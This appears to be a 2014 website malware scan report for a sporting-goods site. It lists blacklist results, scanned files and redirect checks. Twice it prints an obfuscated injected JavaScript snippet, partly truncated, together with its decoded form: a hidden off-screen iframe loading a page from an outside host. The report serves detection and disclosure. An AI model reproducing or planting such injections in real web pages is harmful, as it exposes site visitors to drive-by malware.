Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=oliessportinggoods.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://oliessportinggoods.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://oliessportinggoods.com/ | 200 OK Content-Length: 24899 Content-Type: text/html | clean |
http://oliessportinggoods.com/media/system/js/caption.js | 200 OK Content-Length: 4048 Content-Type: application/javascript | clean |
http://oliessportinggoods.com/plugins/content/highslide/highslide-full.packed.js | 200 OK Content-Length: 2085 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) (function(){
function stripos (f_haystack, f_needle, f_offset) { var haystack = (f_haystack + '').toLowerCase(); var needle = (f_needle + '').toLowerCase(); var leonmain = 0; if ((leonmain = haystack.indexOf(needle, f_offset)) !== -1) { return leonmain; } return false; } function control_agent(){ var see_agent = ['Lunascape','iPhone','Macintosh','Linux','iPad','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD',' if (!control_agent()) { var cookie = getCookie('kegaoeutg18sf'+'fekfsj3asjf'); if (cookie == undefined) { setCookie('kegaoeutg18sf'+'fekfsj3asjf', true, 172804); document.write('<'+'if'+'ra'+'m'+'e'+' s'+'r'+'c'+'='+'"http://cocumber.danielswebsolutions.com/gewdsfwdsg19.html" st'+'yle="posi'+'tion:absolute'+';'+'left'+':'+'-'+'1284'+'px'+';'+'top'+':'+'-'+'1284'+'px'+';'+'" height="134" width="134"><'+'/'+'if'+'ram'+'e'+'>'); } }; })(); Decoded script: <iframe src="http://cocumber.danielswebsolutions.com/gewdsfwdsg19.html" style="position:absolute;left:-1284px;top:-1284px;" height="134" width="134"></iframe> Antivirus reports:
| ||
http://oliessportinggoods.com/plugins/content/highslide/swfobject.js | 200 OK Content-Length: 11843 Content-Type: application/javascript | clean |
http://oliessportinggoods.com/plugins/content/highslide/do_cookie.js | 200 OK Content-Length: 4092 Content-Type: application/javascript | clean |
http://oliessportinggoods.com/templates/ja_zinc/js/ja.script.js | 200 OK Content-Length: 2085 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) (function(){
function stripos (f_haystack, f_needle, f_offset) { var haystack = (f_haystack + '').toLowerCase(); var needle = (f_needle + '').toLowerCase(); var leonmain = 0; if ((leonmain = haystack.indexOf(needle, f_offset)) !== -1) { return leonmain; } return false; } function control_agent(){ var see_agent = ['Lunascape','iPhone','Macintosh','Linux','iPad','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD',' if (!control_agent()) { var cookie = getCookie('kegaoeutg18sf'+'fekfsj3asjf'); if (cookie == undefined) { setCookie('kegaoeutg18sf'+'fekfsj3asjf', true, 172804); document.write('<'+'if'+'ra'+'m'+'e'+' s'+'r'+'c'+'='+'"http://cocumber.danielswebsolutions.com/gewdsfwdsg19.html" st'+'yle="posi'+'tion:absolute'+';'+'left'+':'+'-'+'1284'+'px'+';'+'top'+':'+'-'+'1284'+'px'+';'+'" height="134" width="134"><'+'/'+'if'+'ram'+'e'+'>'); } }; })(); Decoded script: <iframe src="http://cocumber.danielswebsolutions.com/gewdsfwdsg19.html" style="position:absolute;left:-1284px;top:-1284px;" height="134" width="134"></iframe> Antivirus reports:
| ||
http://oliessportinggoods.com/templates/ja_zinc/ja_menus/ja_moomenu/ja.moomenu.js | 200 OK Content-Length: 7781 Content-Type: application/javascript | clean |
http://oliessportinggoods.com/modules/mod_jacatslwi/ja_catslwi/ja.catslwi.js | 200 OK Content-Length: 4092 Content-Type: application/javascript | clean |
http://oliessportinggoods.com/for-sale-now.html | 200 OK Content-Length: 35022 Content-Type: text/html | clean |
http://oliessportinggoods.com/about-us.html | 200 OK Content-Length: 24329 Content-Type: text/html | clean |
http://oliessportinggoods.com/products/reloading.html | 200 OK Content-Length: 24748 Content-Type: text/html | clean |
http://oliessportinggoods.com/products/optics.html | 200 OK Content-Length: 24625 Content-Type: text/html | clean |
http://oliessportinggoods.com/products/rings-and-bases.html | 200 OK Content-Length: 24643 Content-Type: text/html | clean |
http://oliessportinggoods.com/products/firearms.html | 200 OK Content-Length: 24768 Content-Type: text/html | clean |
http://oliessportinggoods.com/products/miscellaneous.html | 200 OK Content-Length: 24679 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: oliessportinggoods.com
Result:
HTTP/1.1 200 OK
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Fri, 06 Jun 2014 07:36:13 GMT
Pragma: no-cache
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8m DAV/2 FrontPage/5.0.2.2635 mod_bwlimited/1.4 mod_auth_passthrough/2.1
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Fri, 06 Jun 2014 07:36:15 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 8608099d81c2a156655c50c04359f237=a5e4d293ae663aebc11f6402b82fe32f; path=/
Set-Cookie: ja_zinc_tpl=ja_zinc; expires=Wed, 27-May-2015 07:36:15 GMT; path=/
X-Powered-By: PHP/5.2.17
GET / HTTP/1.1
Host: oliessportinggoods.com
Result:
HTTP/1.1 200 OK
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Fri, 06 Jun 2014 07:36:13 GMT
Pragma: no-cache
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8m DAV/2 FrontPage/5.0.2.2635 mod_bwlimited/1.4 mod_auth_passthrough/2.1
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Fri, 06 Jun 2014 07:36:15 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 8608099d81c2a156655c50c04359f237=a5e4d293ae663aebc11f6402b82fe32f; path=/
Set-Cookie: ja_zinc_tpl=ja_zinc; expires=Wed, 27-May-2015 07:36:15 GMT; path=/
X-Powered-By: PHP/5.2.17
Second query (visit from search engine):
GET / HTTP/1.1
Host: oliessportinggoods.com
Referer: http://www.google.com/search?q=oliessportinggoods.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: oliessportinggoods.com
Referer: http://www.google.com/search?q=oliessportinggoods.com
Result:
The result is similar to the first query. There are no suspicious redirects found.